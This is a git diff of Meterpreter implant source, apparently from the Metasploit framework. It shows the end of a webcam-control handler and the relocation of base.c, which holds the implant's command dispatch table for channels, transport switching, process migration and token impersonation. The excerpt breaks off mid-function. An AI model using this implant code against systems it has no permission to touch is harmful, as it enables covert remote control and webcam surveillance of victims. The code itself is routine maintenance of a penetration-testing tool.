@sa webcam_control_thread + */ + DWORD request_webcam_stop(Remote* remote, Packet* packet) { + Packet* response = met_api->packet.create_response(packet); + DWORD dwResult = ERROR_SUCCESS; + + dprintf("[WEBCAM] Entry."); + do + { + if (g_pWorkerThread == NULL) { + BREAK_WITH_ERROR("[WEBCAM] Webcam is not running", ERROR_NOT_READY); + } + + // set up the thread call + g_pThreadState->controlAction = StopCamera; + + // invoke and wait + met_api->event.signal(g_pThreadState->pCallEvent); + + if (met_api->event.poll(g_pThreadState->pResultEvent, 5000) == FALSE) { + BREAK_WITH_ERROR("[WEBCAM] Failed to receive result in time", ERROR_WAIT_1); + } + + // the handler thread should have added data to the packet to return to the caller, so off we go! + dwResult = g_pThreadState->dwResult; + } while (0); + + met_api->packet.transmit_response(dwResult, remote, response); + + met_api->event.destroy(g_pThreadState->pCallEvent); + met_api->event.destroy(g_pThreadState->pResultEvent); + free(g_pThreadState); + g_pThreadState = NULL; + + met_api->thread.destroy(g_pWorkerThread); + g_pWorkerThread = NULL; + + dprintf("[WEBCAM] Exit."); + return dwResult; + } } diff --git a/c/meterpreter/source/common/base.c b/c/meterpreter/source/metsrv/base.c old mode 100755 new mode 100644 similarity index 87% rename from c/meterpreter/source/common/base.c rename to c/meterpreter/source/metsrv/base.c index 51de610b..34627903 --- a/c/meterpreter/source/common/base.c +++ b/c/meterpreter/source/metsrv/base.c @@ -1,662 +1,655 @@ -/*! - * @file base.c - * @brief Definitions that apply to almost any Meterpreter component. - */ -#include "common.h" - -// Local remote request implementors -extern DWORD remote_request_core_console_write(Remote *remote, Packet *packet); - -extern DWORD remote_request_core_channel_open(Remote *remote, Packet *packet); -extern DWORD remote_request_core_channel_write(Remote *remote, Packet *packet); -extern DWORD remote_request_core_channel_read(Remote *remote, Packet *packet); -extern DWORD remote_request_core_channel_close(Remote *remote, Packet *packet); -extern DWORD remote_request_core_channel_seek(Remote *remote, Packet *packet); -extern DWORD remote_request_core_channel_eof(Remote *remote, Packet *packet); -extern DWORD remote_request_core_channel_tell(Remote *remote, Packet *packet); -extern DWORD remote_request_core_channel_interact(Remote *remote, Packet *packet); - -extern BOOL remote_request_core_shutdown(Remote *remote, Packet *packet, DWORD* pResult); - -extern DWORD remote_request_core_transport_set_timeouts(Remote * remote, Packet * packet); - -extern DWORD remote_request_core_transport_getcerthash(Remote* remote, Packet* packet); -extern DWORD remote_request_core_transport_setcerthash(Remote* remote, Packet* packet); - -extern BOOL remote_request_core_transport_sleep(Remote* remote, Packet* packet, DWORD* result); -extern DWORD remote_request_core_transport_list(Remote* remote, Packet* packet); -extern BOOL remote_request_core_transport_change(Remote* remote, Packet* packet, DWORD* result); -extern BOOL remote_request_core_transport_next(Remote* remote, Packet* packet, DWORD* result); -extern BOOL remote_request_core_transport_prev(Remote* remote, Packet* packet, DWORD* result); -extern DWORD remote_request_core_transport_add(Remote* remote, Packet* packet); -extern DWORD remote_request_core_transport_remove(Remote* remote, Packet* packet); - -extern BOOL remote_request_core_migrate(Remote *remote, Packet *packet, DWORD* pResult); - -extern DWORD request_negotiate_aes_key(Remote* remote, Packet* packet); - -// Local remote response implementors -extern DWORD remote_response_core_console_write(Remote *remote, Packet *packet); - -extern DWORD remote_response_core_channel_open(Remote *remote, Packet *packet); -extern DWORD remote_response_core_channel_close(Remote *remote, Packet *packet); - -DWORD remote_request_core_console_write(Remote *remote, Packet *packet) -{ - return ERROR_SUCCESS; -} - -DWORD remote_response_core_console_write(Remote *remote, Packet *packet) -{ - return ERROR_SUCCESS; -} - -BOOL command_is_inline(Command *command, Packet *packet); -Command* command_locate(Packet *packet); -DWORD command_validate_arguments(Command *command, Packet *packet); -DWORD THREADCALL command_process_thread(THREAD * thread); - - -/*! - * @brief Base RPC dispatch table. - */ -Command baseCommands[] = -{ - // Console commands - { "core_console_write", - { remote_request_core_console_write, NULL, { TLV_META_TYPE_STRING }, 1 | ARGUMENT_FLAG_REPEAT }, - { remote_response_core_console_write, NULL, EMPTY_TLV }, - }, - - // Native Channel commands - // this overloads the "core_channel_open" in the base command list - COMMAND_REQ_REP("core_channel_open", remote_request_core_channel_open, remote_response_core_channel_open), - COMMAND_REQ("core_channel_write", remote_request_core_channel_write), - COMMAND_REQ_REP("core_channel_close", remote_request_core_channel_close, remote_response_core_channel_close), - - // Buffered/Pool channel commands - COMMAND_REQ("core_channel_read", remote_request_core_channel_read), - // Pool channel commands - COMMAND_REQ("core_channel_seek", remote_request_core_channel_seek), - COMMAND_REQ("core_channel_eof", remote_request_core_channel_eof), - COMMAND_REQ("core_channel_tell", remote_request_core_channel_tell), - // Soon to be deprecated - COMMAND_REQ("core_channel_interact", remote_request_core_channel_interact), - // Packet Encryption - COMMAND_REQ("core_negotiate_tlv_encryption", request_negotiate_aes_key), - // timeouts - COMMAND_REQ("core_transport_set_timeouts", remote_request_core_transport_set_timeouts), - - COMMAND_REQ("core_transport_getcerthash", remote_request_core_transport_getcerthash), - COMMAND_REQ("core_transport_setcerthash", remote_request_core_transport_setcerthash), - - COMMAND_REQ("core_transport_list", remote_request_core_transport_list), - COMMAND_INLINE_REQ("core_transport_sleep", remote_request_core_transport_sleep), - COMMAND_INLINE_REQ("core_transport_change", remote_request_core_transport_change), - COMMAND_INLINE_REQ("core_transport_next", remote_request_core_transport_next), - COMMAND_INLINE_REQ("core_transport_prev", remote_request_core_transport_prev), - COMMAND_REQ("core_transport_add", remote_request_core_transport_add), - COMMAND_REQ("core_transport_remove", remote_request_core_transport_remove), - // Migration - COMMAND_INLINE_REQ("core_migrate", remote_request_core_migrate), - // Shutdown - COMMAND_INLINE_REQ("core_shutdown", remote_request_core_shutdown), - // Terminator - COMMAND_TERMINATOR -}; - -/*! - * @brief Dynamically registered command extensions. - * @details A linked list of commands registered on the fly by reflectively-loaded extensions. - */ -Command* extensionCommands = NULL; - -/*! - * @brief Register a full list of commands with meterpreter. - * @param commands The array of commands that are to be registered for the module/extension. - */ -void command_register_all(Command commands[]) -{ - DWORD index; - - for (index = 0; commands[index].method; index++) - { - command_register(&commands[index]); - } - -#ifdef DEBUGTRACE - Command* command; - - dprintf("[COMMAND LIST] Listing current extension commands"); - for (command = extensionCommands; command; command = command->next) - { - dprintf("[COMMAND LIST] Found: %s", command->method); - } -#endif -} - -/*! - * @brief Dynamically register a custom command handler - * @param command Pointer to the command that should be registered. - * @return `ERROR_SUCCESS` when command registers successfully, otherwise returns the error. - */ -DWORD command_register(Command *command) -{ - Command *newCommand; - - dprintf("Registering a new command (%s)...", command->method); - if (!(newCommand = (Command *)malloc(sizeof(Command)))) - { - return ERROR_NOT_ENOUGH_MEMORY; - } - - dprintf("Allocated memory..."); - memcpy(newCommand, command, sizeof(Command)); - - dprintf("Setting new command..."); - if (extensionCommands) - { - extensionCommands->prev = newCommand; - } - - dprintf("Fixing next/prev... %p", newCommand); - newCommand->next = extensionCommands; - newCommand->prev = NULL; - extensionCommands = newCommand; - - dprintf("Done..."); - return ERROR_SUCCESS; -} - -/*! - * @brief Deregister a full list of commands from meterpreter. - * @param commands The array of commands that are to be deregistered from the module/extension. - */ -void command_deregister_all(Command commands[]) -{ - DWORD index; - - for (index = 0; commands[index].method; index++) - { - command_deregister(&commands[index]); - } -} - -/*! - * @brief Dynamically deregister a custom command handler - * @param command Pointer to the command that should be deregistered. - * @return `ERROR_SUCCESS` when command deregisters successfully, otherwise returns the error. - */ -DWORD command_deregister(Command *command) -{ - Command *current, *prev; - DWORD res = ERROR_NOT_FOUND; - - // Search the extension list for the command - for (current = extensionCommands, prev = NULL; - current; - prev = current, current = current->next) - { - if (strcmp(command->method, current->method)) - continue; - - if (prev) - { - prev->next = current->next; - } - else - { - extensionCommands = current->next; - } - - if (current->next) - { - current->next->prev = prev; - } - - // Deallocate it - free(current); - - res = ERROR_SUCCESS; - - break; - } - - return res; -} - -/*! @brief A list of all command threads currenlty executing. */ -LIST * commandThreadList = NULL; - -/*! - * @brief Block untill all running command threads have finished. - */ -VOID command_join_threads(VOID) -{ - while (list_count(commandThreadList) > 0) - { - THREAD * thread = (THREAD *)list_get(commandThreadList, 0); - if (thread) - { - thread_join(thread); - } - } -} - -/*! - * @brief Process a command directly on the current thread. - * @param baseCommand Pointer to the \c Command in the base command list to be executed. - * @param extensionCommand Pointer to the \c Command in the extension command list to be executed. - * @param remote Pointer to the \c Remote endpoint for this command. - * @param packet Pointer to the \c Packet containing the command detail. - * @returns Boolean value indicating if the server should continue processing. - * @retval TRUE The server can and should continue processing. - * @retval FALSE The server should stop processing and shut down. - * @sa command_handle - * @sa command_process_thread - * @remarks The \c baseCommand is always executed first, but if there is an \c extensionCommand - * then the result of the \c baseCommand processing is ignored and the result of - * \c extensionCommand is returned instead. - */ -BOOL command_process_inline(Command *baseCommand, Command *extensionCommand, Remote *remote, Packet *packet) -{ - DWORD result; - BOOL serverContinue = TRUE; - Tlv requestIdTlv; - PCHAR requestId; - PacketTlvType packetTlvType; - Command *commands[2] = { baseCommand, extensionCommand }; - Command *command = NULL; - DWORD dwIndex; - LPCSTR lpMethod = NULL; - - __try - { - do - { - for (dwIndex = 0; dwIndex < 2; ++dwIndex) - { - command = commands[dwIndex]; - - if (command == NULL) - { - continue; - } - - lpMethod = command->method; - dprintf("[COMMAND] Executing command %s", lpMethod); - - // Impersonate the thread token if needed (only on Windows) - if (remote->server_token != remote->thread_token) - { - if (!ImpersonateLoggedOnUser(remote->thread_token)) - { - dprintf("[COMMAND] Failed to impersonate thread token (%s) (%u)", lpMethod, GetLastError()); - } - } - - // Validate the arguments, if requested. Always make sure argument - // lengths are sane. - if (command_validate_arguments(command, packet) != ERROR_SUCCESS) - { - dprintf("[COMMAND] Command arguments failed to validate"); - continue; - } - - packetTlvType = packet_get_type(packet); - dprintf("[DISPATCH] Packet type for %s is %u", lpMethod, packetTlvType); - switch (packetTlvType) - { - case PACKET_TLV_TYPE_REQUEST: - case PACKET_TLV_TYPE_PLAIN_REQUEST: - if (command->request.inline_handler) { - dprintf("[DISPATCH] executing inline request handler %s", lpMethod); - serverContinue = command->request.inline_handler(remote, packet, &result) && serverContinue; - dprintf("[DISPATCH] executed %s, continue %s", lpMethod, serverContinue ? "yes" : "no"); - } - else - { - dprintf("[DISPATCH] executing request handler %s", lpMethod); - result = command->request.handler(remote, packet); - } - break; - case PACKET_TLV_TYPE_RESPONSE: - case PACKET_TLV_TYPE_PLAIN_RESPONSE: - if (command->response.inline_handler) - { - dprintf("[DISPATCH] executing inline response handler %s", lpMethod); - serverContinue = command->response.inline_handler(remote, packet, &result) && serverContinue; - } - else - { - dprintf("[DISPATCH] executing response handler %s", lpMethod); - result = command->response.handler(remote, packet); - } - break; - } - } - - dprintf("[COMMAND] Calling completion handlers..."); - - // Get the request identifier if the packet has one. - if (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID, &requestIdTlv) == ERROR_SUCCESS) - { - requestId = (PCHAR)requestIdTlv.buffer; - } - - // Finally, call completion routines for the provided identifier - if (((packetTlvType == PACKET_TLV_TYPE_RESPONSE) || (packetTlvType == PACKET_TLV_TYPE_PLAIN_RESPONSE)) && requestId) - { - packet_call_completion_handlers(remote, packet, requestId); - } - - dprintf("[COMMAND] Completion handlers finished for %s.", lpMethod); - } while (0); - } - __except (EXCEPTION_EXECUTE_HANDLER) - { - dprintf("[COMMAND] Exception hit in command %s", lpMethod); - } - - if (!packet->local) - { - dprintf("[COMMAND] Packet is not local, destroying"); - packet_destroy(packet); - dprintf("[COMMAND] Packet destroyed"); - } - - dprintf("[COMMAND] Command processing finishing. Returning: %s", (serverContinue ? "TRUE" : "FALSE")); - return serverContinue; -} - -/*! - * @brief Attempt to locate a command in the base command list. - * @param method String that identifies the command. - * @returns Pointer to the command entry in the base command list. - * @retval NULL Indicates that no command was found for the given method. - * @retval NON-NULL Pointer to the command that can be executed. - */ -Command* command_locate_base(const char* method) -{ - DWORD index; - - dprintf("[COMMAND EXEC] Attempting to locate base command %s", method); - for (index = 0; baseCommands[index].method; ++index) - { - if (strcmp(baseCommands[index].method, method) == 0) - { - return &baseCommands[index]; - } - } - - dprintf("[COMMAND EXEC] Couldn't find base command %s", method); - return NULL; -} - -/*! - * @brief Attempt to locate a command in the extensions command list. - * @param method String that identifies the command. - * @returns Pointer to the command entry in the extensions command list. - * @retval NULL Indicates that no command was found for the given method. - * @retval NON-NULL Pointer to the command that can be executed. - */ -Command* command_locate_extension(const char* method) -{ - Command* command; - - dprintf("[COMMAND EXEC] Attempting to locate extension command %s (%p)", method, extensionCommands); - for (command = extensionCommands; command; command = command->next) - { - if (strcmp(command->method, method) == 0) - { - return command; - } - } - - dprintf("[COMMAND EXEC] Couldn't find extension command %s", method); - return NULL; -} - -/*! - * @brief Handle an incoming command. - * @param remote Pointer to the \c Remote instance associated with this command. - * @param packet Pointer to the \c Packet containing the command data. - * @retval TRUE The server can and should continue processing. - * @retval FALSE The server should stop processing and shut down. - * @remark This function was incorporate to help support two things in meterpreter: - * -# A way of allowing a command to be processed directly on the main server - * thread and not on another thread (which in some cases can cause problems). - * -# A cleaner way of shutting down the server so that container processes - * can shutdown cleanly themselves, where appropriate. - * - * This function will look at the command definition and determine if it should - * be executed inline or on a new command thread. - * @sa command_process_inline - * @sa command_process_thread - */ -BOOL command_handle(Remote *remote, Packet *packet) -{ - BOOL result = TRUE; - THREAD* cpt = NULL; - Command* baseCommand = NULL; - Command* extensionCommand = NULL; - Command** commands = NULL; - Packet* response = NULL; - PCHAR lpMethod = NULL; - Tlv methodTlv; - - do - { - if (packet_get_tlv_string(packet, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS) - { - dprintf("[COMMAND] Unable to extract method from packet."); - break; - } - - lpMethod = (PCHAR)methodTlv.buffer; - - baseCommand = command_locate_base(lpMethod); - extensionCommand = command_locate_extension(lpMethod); - - if (baseCommand == NULL && extensionCommand == NULL) - { - dprintf("[DISPATCH] Command not found: %s", lpMethod); - // We have no matching command for this packet, so it won't get handled. We - // need to send an empty response and clean up here before exiting out. - response = packet_create_response(packet); - if (packet->local) - { - packet_add_tlv_uint(response, TLV_TYPE_RESULT, ERROR_NOT_SUPPORTED); - } - else - { - packet_transmit_response(ERROR_NOT_SUPPORTED, remote, response); - packet_destroy(packet); - } - break; - } - - // if either command is registered as inline, run them inline - if ((baseCommand && command_is_inline(baseCommand, packet)) - || (extensionCommand && command_is_inline(extensionCommand, packet)) - || packet->local) - { - dprintf("[DISPATCH] Executing inline: %s", lpMethod); - result = command_process_inline(baseCommand, extensionCommand, remote, packet); - dprintf("[DISPATCH] Executed inline: result %u (%x)", result, result); - } - else - { - dprintf("[DISPATCH] Executing in thread: %s", lpMethod); - - commands = (Command**)malloc(sizeof(Command*) * 2); - *commands = baseCommand; - *(commands + 1) = extensionCommand; - - cpt = thread_create(command_process_thread, remote, packet, commands); - if (cpt) - { - dprintf("[DISPATCH] created command_process_thread 0x%08X, handle=0x%08X", cpt, cpt->handle); - thread_run(cpt); - } - } - } while (0); - - return result; -} - -/*! - * @brief Process a single command in a seperate thread of execution. - * @param thread Pointer to the thread to execute. - * @return Result of thread execution (not the result of the command). - * @sa command_handle - * @sa command_process_inline - */ -DWORD THREADCALL command_process_thread(THREAD * thread) -{ - Command** commands = NULL; - Remote * remote = NULL; - Packet * packet = NULL; - - dprintf("[COMMAND] executing in thread %p", thread); - - if (thread == NULL) - { - return ERROR_INVALID_HANDLE; - } - - remote = (Remote *)thread->parameter1; - if (remote == NULL) - { - return ERROR_INVALID_HANDLE; - } - - packet = (Packet *)thread->parameter2; - if (packet == NULL) - { - return ERROR_INVALID_DATA; - } - - commands = (Command**)thread->parameter3; - if (commands == NULL) - { - return ERROR_INVALID_DATA; - } - - if (commandThreadList == NULL) - { - commandThreadList = list_create(); - if (commandThreadList == NULL) - { - return ERROR_INVALID_HANDLE; - } - } - - list_add(commandThreadList, thread); - - // invoke processing inline, passing in both commands - dprintf("[COMMAND] About to execute inline -> Commands: %p Command1: %p Command2: %p", commands, *commands, *(commands + 1)); - command_process_inline(*commands, *(commands + 1), remote, packet); - dprintf("[COMMAND] Executed inline -> Commands: %p Command1: %p Command2: %p", commands, *commands, *(commands + 1)); - - if (list_remove(commandThreadList, thread)) - { - thread_destroy(thread); - } - - // free things up now that the command stuff has been finished - dprintf("[COMMAND] Cleaning up commands"); - free(commands); - - return ERROR_SUCCESS; -} - -/*! - * @brief Determine if a given command/packet combination should be invoked inline. - * @param command Pointer to the \c Command being invoked. - * @param packet Pointer to the \c Packet being received/sent. - * @returns Boolean indication of whether the command should be executed inline. - * @retval TRUE The command should be executed inline on the current thread. - * @retval FALSE The command should be executed on a new thread. - */ -BOOL command_is_inline( Command *command, Packet *packet ) -{ - switch (packet_get_type( packet )) - { - case PACKET_TLV_TYPE_REQUEST: - case PACKET_TLV_TYPE_PLAIN_REQUEST: - if (command->request.inline_handler) - return TRUE; - case PACKET_TLV_TYPE_RESPONSE: - case PACKET_TLV_TYPE_PLAIN_RESPONSE: - if (command->response.inline_handler) - return TRUE; - } - - return FALSE; -} - -/*! - * @brief Validate command arguments - * @return Indication of whether the commands are valid or not. - * @retval ERROR_SUCCESS All arguments are valid. - * @retval ERROR_INVALID_PARAMETER An invalid parameter exists. - */ -DWORD command_validate_arguments(Command *command, Packet *packet) -{ - PacketDispatcher *dispatcher = NULL; - PacketTlvType type = packet_get_type(packet); - DWORD res = ERROR_SUCCESS, - packetIndex, commandIndex; - Tlv current; - - // Select the dispatcher table - if ((type == PACKET_TLV_TYPE_RESPONSE) || - (type == PACKET_TLV_TYPE_PLAIN_RESPONSE)) - dispatcher = &command->response; - else - dispatcher = &command->request; - - // Enumerate the arguments, validating the meta types of each - for (commandIndex = 0, packetIndex = 0; - ((packet_enum_tlv(packet, packetIndex, TLV_TYPE_ANY, ¤t) == ERROR_SUCCESS) - && (res == ERROR_SUCCESS)); - commandIndex++, packetIndex++) - { - TlvMetaType tlvMetaType; - - // Check to see if we've reached the end of the command arguments - if ((dispatcher->numArgumentTypes) && - (commandIndex == (dispatcher->numArgumentTypes & ARGUMENT_FLAG_MASK))) - { - // If the repeat flag is set, reset the index - if (commandIndex & ARGUMENT_FLAG_REPEAT) - commandIndex = 0; - else - break; - } - - // Make sure the argument is at least one of the meta types - tlvMetaType = packet_get_tlv_meta(packet, ¤t); - - // Validate argument meta types - switch (tlvMetaType) - { - case TLV_META_TYPE_STRING: - if (packet_is_tlv_null_terminated(¤t) != ERROR_SUCCESS) - { - dprintf("[COMMAND] string is not null terminated"); - res = ERROR_INVALID_PARAMETER; - } - break; - default: - break; - } - - if ((res != ERROR_SUCCESS) && - (commandIndex < dispatcher->numArgumentTypes)) - break; - } - - return res; -} +/*! + * @file base.c + * @brief Definitions that apply to almost any Meterpreter component. + */ +#include "metsrv.h" + +// TODO: move these to a header? +// Local remote request implementors +DWORD remote_request_core_console_write(Remote *remote, Packet *packet); +DWORD remote_request_core_channel_open(Remote *remote, Packet *packet); +DWORD remote_request_core_channel_write(Remote *remote, Packet *packet); +DWORD remote_request_core_channel_read(Remote *remote, Packet *packet); +DWORD remote_request_core_channel_close(Remote *remote, Packet *packet); +DWORD remote_request_core_channel_seek(Remote *remote, Packet *packet); +DWORD remote_request_core_channel_eof(Remote *remote, Packet *packet); +DWORD remote_request_core_channel_tell(Remote *remote, Packet *packet); +DWORD remote_request_core_channel_interact(Remote *remote, Packet *packet); +BOOL remote_request_core_shutdown(Remote *remote, Packet *packet, DWORD* pResult); +DWORD remote_request_core_transport_set_timeouts(Remote * remote, Packet * packet); +DWORD remote_request_core_transport_getcerthash(Remote* remote, Packet* packet); +DWORD remote_request_core_transport_setcerthash(Remote* remote, Packet* packet); +BOOL remote_request_core_transport_sleep(Remote* remote, Packet* packet, DWORD* result); +DWORD remote_request_core_transport_list(Remote* remote, Packet* packet); +BOOL remote_request_core_transport_change(Remote* remote, Packet* packet, DWORD* result); +BOOL remote_request_core_transport_next(Remote* remote, Packet* packet, DWORD* result); +BOOL remote_request_core_transport_prev(Remote* remote, Packet* packet, DWORD* result); +DWORD remote_request_core_transport_add(Remote* remote, Packet* packet); +DWORD remote_request_core_transport_remove(Remote* remote, Packet* packet); +BOOL remote_request_core_migrate(Remote *remote, Packet *packet, DWORD* pResult); +DWORD request_negotiate_aes_key(Remote* remote, Packet* packet); + +// Local remote response implementors +DWORD remote_response_core_console_write(Remote *remote, Packet *packet); +DWORD remote_response_core_channel_open(Remote *remote, Packet *packet); +DWORD remote_response_core_channel_close(Remote *remote, Packet *packet); + +DWORD remote_request_core_console_write(Remote *remote, Packet *packet) +{ + return ERROR_SUCCESS; +} + +DWORD remote_response_core_console_write(Remote *remote, Packet *packet) +{ + return ERROR_SUCCESS; +} + +BOOL command_is_inline(Command *command, Packet *packet); +Command* command_locate(Packet *packet); +DWORD command_validate_arguments(Command *command, Packet *packet); +DWORD THREADCALL command_process_thread(THREAD * thread); + + +/*! + * @brief Base RPC dispatch table. + */ +Command baseCommands[] = +{ + // Console commands + { "core_console_write", + { remote_request_core_console_write, NULL, { TLV_META_TYPE_STRING }, 1 | ARGUMENT_FLAG_REPEAT }, + { remote_response_core_console_write, NULL, EMPTY_TLV }, + }, + + // Native Channel commands + // this overloads the "core_channel_open" in the base command list + COMMAND_REQ_REP("core_channel_open", remote_request_core_channel_open, remote_response_core_channel_open), + COMMAND_REQ("core_channel_write", remote_request_core_channel_write), + COMMAND_REQ_REP("core_channel_close", remote_request_core_channel_close, remote_response_core_channel_close), + + // Buffered/Pool channel commands + COMMAND_REQ("core_channel_read", remote_request_core_channel_read), + // Pool channel commands + COMMAND_REQ("core_channel_seek", remote_request_core_channel_seek), + COMMAND_REQ("core_channel_eof", remote_request_core_channel_eof), + COMMAND_REQ("core_channel_tell", remote_request_core_channel_tell), + // Soon to be deprecated + COMMAND_REQ("core_channel_interact", remote_request_core_channel_interact), + // Packet Encryption + COMMAND_REQ("core_negotiate_tlv_encryption", request_negotiate_aes_key), + // timeouts + COMMAND_REQ("core_transport_set_timeouts", remote_request_core_transport_set_timeouts), + + COMMAND_REQ("core_transport_getcerthash", remote_request_core_transport_getcerthash), + COMMAND_REQ("core_transport_setcerthash", remote_request_core_transport_setcerthash), + + COMMAND_REQ("core_transport_list", remote_request_core_transport_list), + COMMAND_INLINE_REQ("core_transport_sleep", remote_request_core_transport_sleep), + COMMAND_INLINE_REQ("core_transport_change", remote_request_core_transport_change), + COMMAND_INLINE_REQ("core_transport_next", remote_request_core_transport_next), + COMMAND_INLINE_REQ("core_transport_prev", remote_request_core_transport_prev), + COMMAND_REQ("core_transport_add", remote_request_core_transport_add), + COMMAND_REQ("core_transport_remove", remote_request_core_transport_remove), + // Migration + COMMAND_INLINE_REQ("core_migrate", remote_request_core_migrate), + // Shutdown + COMMAND_INLINE_REQ("core_shutdown", remote_request_core_shutdown), + // Terminator + COMMAND_TERMINATOR +}; + +/*! + * @brief Dynamically registered command extensions. + * @details A linked list of commands registered on the fly by reflectively-loaded extensions. + */ +Command* extensionCommands = NULL; + +/*! + * @brief Register a full list of commands with meterpreter. + * @param commands The array of commands that are to be registered for the module/extension. + */ +void command_register_all(Command commands[]) +{ + DWORD index; + + for (index = 0; commands[index].method; index++) + { + command_register(&commands[index]); + } + +#ifdef DEBUGTRACE + Command* command; + + dprintf("[COMMAND LIST] Listing current extension commands"); + for (command = extensionCommands; command; command = command->next) + { + dprintf("[COMMAND LIST] Found: %s", command->method); + } +#endif +} + +/*! + * @brief Dynamically register a custom command handler + * @param command Pointer to the command that should be registered. + * @return `ERROR_SUCCESS` when command registers successfully, otherwise returns the error. + */ +DWORD command_register(Command *command) +{ + Command *newCommand; + + dprintf("Registering a new command (%s)...", command->method); + if (!(newCommand = (Command *)malloc(sizeof(Command)))) + { + return ERROR_NOT_ENOUGH_MEMORY; + } + + dprintf("Allocated memory..."); + memcpy(newCommand, command, sizeof(Command)); + + dprintf("Setting new command..."); + if (extensionCommands) + { + extensionCommands->prev = newCommand; + } + + dprintf("Fixing next/prev... %p", newCommand); + newCommand->next = extensionCommands; + newCommand->prev = NULL; + extensionCommands = newCommand; + + dprintf("Done..."); + return ERROR_SUCCESS; +} + +/*! + * @brief Deregister a full list of commands from meterpreter. + * @param commands The array of commands that are to be deregistered from the module/extension. + */ +void command_deregister_all(Command commands[]) +{ + DWORD index; + + for (index = 0; commands[index].method; index++) + { + command_deregister(&commands[index]); + } +} + +/*! + * @brief Dynamically deregister a custom command handler + * @param command Pointer to the command that should be deregistered. + * @return `ERROR_SUCCESS` when command deregisters successfully, otherwise returns the error. + */ +DWORD command_deregister(Command *command) +{ + Command *current, *prev; + DWORD res = ERROR_NOT_FOUND; + + // Search the extension list for the command + for (current = extensionCommands, prev = NULL; + current; + prev = current, current = current->next) + { + if (strcmp(command->method, current->method)) + continue; + + if (prev) + { + prev->next = current->next; + } + else + { + extensionCommands = current->next; + } + + if (current->next) + { + current->next->prev = prev; + } + + // Deallocate it + free(current); + + res = ERROR_SUCCESS; + + break; + } + + return res; +} + +/*! @brief A list of all command threads currenlty executing. */ +LIST * commandThreadList = NULL; + +/*! + * @brief Block untill all running command threads have finished. + */ +VOID command_join_threads(VOID) +{ + while (list_count(commandThreadList) > 0) + { + THREAD * thread = (THREAD *)list_get(commandThreadList, 0); + if (thread) + { + thread_join(thread); + } + } +} + +/*! + * @brief Process a command directly on the current thread. + * @param baseCommand Pointer to the \c Command in the base command list to be executed. + * @param extensionCommand Pointer to the \c Command in the extension command list to be executed. + * @param remote Pointer to the \c Remote endpoint for this command. + * @param packet Pointer to the \c Packet containing the command detail. + * @returns Boolean value indicating if the server should continue processing. + * @retval TRUE The server can and should continue processing. + * @retval FALSE The server should stop processing and shut down. + * @sa command_handle + * @sa command_process_thread + * @remarks The \c baseCommand is always executed first, but if there is an \c extensionCommand + * then the result of the \c baseCommand processing is ignored and the result of + * \c extensionCommand is returned instead. + */ +BOOL command_process_inline(Command *baseCommand, Command *extensionCommand, Remote *remote, Packet *packet) +{ + DWORD result; + BOOL serverContinue = TRUE; + Tlv requestIdTlv; + PCHAR requestId; + PacketTlvType packetTlvType; + Command *commands[2] = { baseCommand, extensionCommand }; + Command *command = NULL; + DWORD dwIndex; + LPCSTR lpMethod = NULL; + + __try + { + do + { + for (dwIndex = 0; dwIndex < 2; ++dwIndex) + { + command = commands[dwIndex]; + + if (command == NULL) + { + continue; + } + + lpMethod = command->method; + dprintf("[COMMAND] Executing command %s", lpMethod); + + // Impersonate the thread token if needed (only on Windows) + if (remote->server_token != remote->thread_token) + { + if (!ImpersonateLoggedOnUser(remote->thread_token)) + { + dprintf("[COMMAND] Failed to impersonate thread token (%s) (%u)", lpMethod, GetLastError()); + } + } + + // Validate the arguments, if requested. Always make sure argument + // lengths are sane. + if (command_validate_arguments(command, packet) != ERROR_SUCCESS) + { + dprintf("[COMMAND] Command arguments failed to validate"); + continue; + } + + packetTlvType = packet_get_type(packet); + dprintf("[DISPATCH] Packet type for %s is %u", lpMethod, packetTlvType); + switch (packetTlvType) + { + case PACKET_TLV_TYPE_REQUEST: + case PACKET_TLV_TYPE_PLAIN_REQUEST: + if (command->request.inline_handler) { + dprintf("[DISPATCH] executing inline request handler %s", lpMethod); + serverContinue = command->request.inline_handler(remote, packet, &result) && serverContinue; + dprintf("[DISPATCH] executed %s, continue %s", lpMethod, serverContinue ? "yes" : "no"); + } + else + { + dprintf("[DISPATCH] executing request handler %s", lpMethod); + result = command->request.handler(remote, packet); + } + break; + case PACKET_TLV_TYPE_RESPONSE: + case PACKET_TLV_TYPE_PLAIN_RESPONSE: + if (command->response.inline_handler) + { + dprintf("[DISPATCH] executing inline response handler %s", lpMethod); + serverContinue = command->response.inline_handler(remote, packet, &result) && serverContinue; + } + else + { + dprintf("[DISPATCH] executing response handler %s", lpMethod); + result = command->response.handler(remote, packet); + } + break; + } + } + + dprintf("[COMMAND] Calling completion handlers..."); + + // Get the request identifier if the packet has one. + if (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID, &requestIdTlv) == ERROR_SUCCESS) + { + requestId = (PCHAR)requestIdTlv.buffer; + } + + // Finally, call completion routines for the provided identifier + if (((packetTlvType == PACKET_TLV_TYPE_RESPONSE) || (packetTlvType == PACKET_TLV_TYPE_PLAIN_RESPONSE)) && requestId) + { + packet_call_completion_handlers(remote, packet, requestId); + } + + dprintf("[COMMAND] Completion handlers finished for %s.", lpMethod); + } while (0); + } + __except (EXCEPTION_EXECUTE_HANDLER) + { + dprintf("[COMMAND] Exception hit in command %s", lpMethod); + } + + if (!packet->local) + { + dprintf("[COMMAND] Packet is not local, destroying"); + packet_destroy(packet); + dprintf("[COMMAND] Packet destroyed"); + } + + dprintf("[COMMAND] Command processing finishing. Returning: %s", (serverContinue ? "TRUE" : "FALSE")); + return serverContinue; +} + +/*! + * @brief Attempt to locate a command in the base command list. + * @param method String that identifies the command. + * @returns Pointer to the command entry in the base command list. + * @retval NULL Indicates that no command was found for the given method. + * @retval NON-NULL Pointer to the command that can be executed. + */ +Command* command_locate_base(const char* method) +{ + DWORD index; + + dprintf("[COMMAND EXEC] Attempting to locate base command %s", method); + for (index = 0; baseCommands[index].method; ++index) + { + if (strcmp(baseCommands[index].method, method) == 0) + { + return &baseCommands[index]; + } + } + + dprintf("[COMMAND EXEC] Couldn't find base command %s", method); + return NULL; +} + +/*! + * @brief Attempt to locate a command in the extensions command list. + * @param method String that identifies the command. + * @returns Pointer to the command entry in the extensions command list. + * @retval NULL Indicates that no command was found for the given method. + * @retval NON-NULL Pointer to the command that can be executed. + */ +Command* command_locate_extension(const char* method) +{ + Command* command; + + dprintf("[COMMAND EXEC] Attempting to locate extension command %s (%p)", method, extensionCommands); + for (command = extensionCommands; command; command = command->next) + { + if 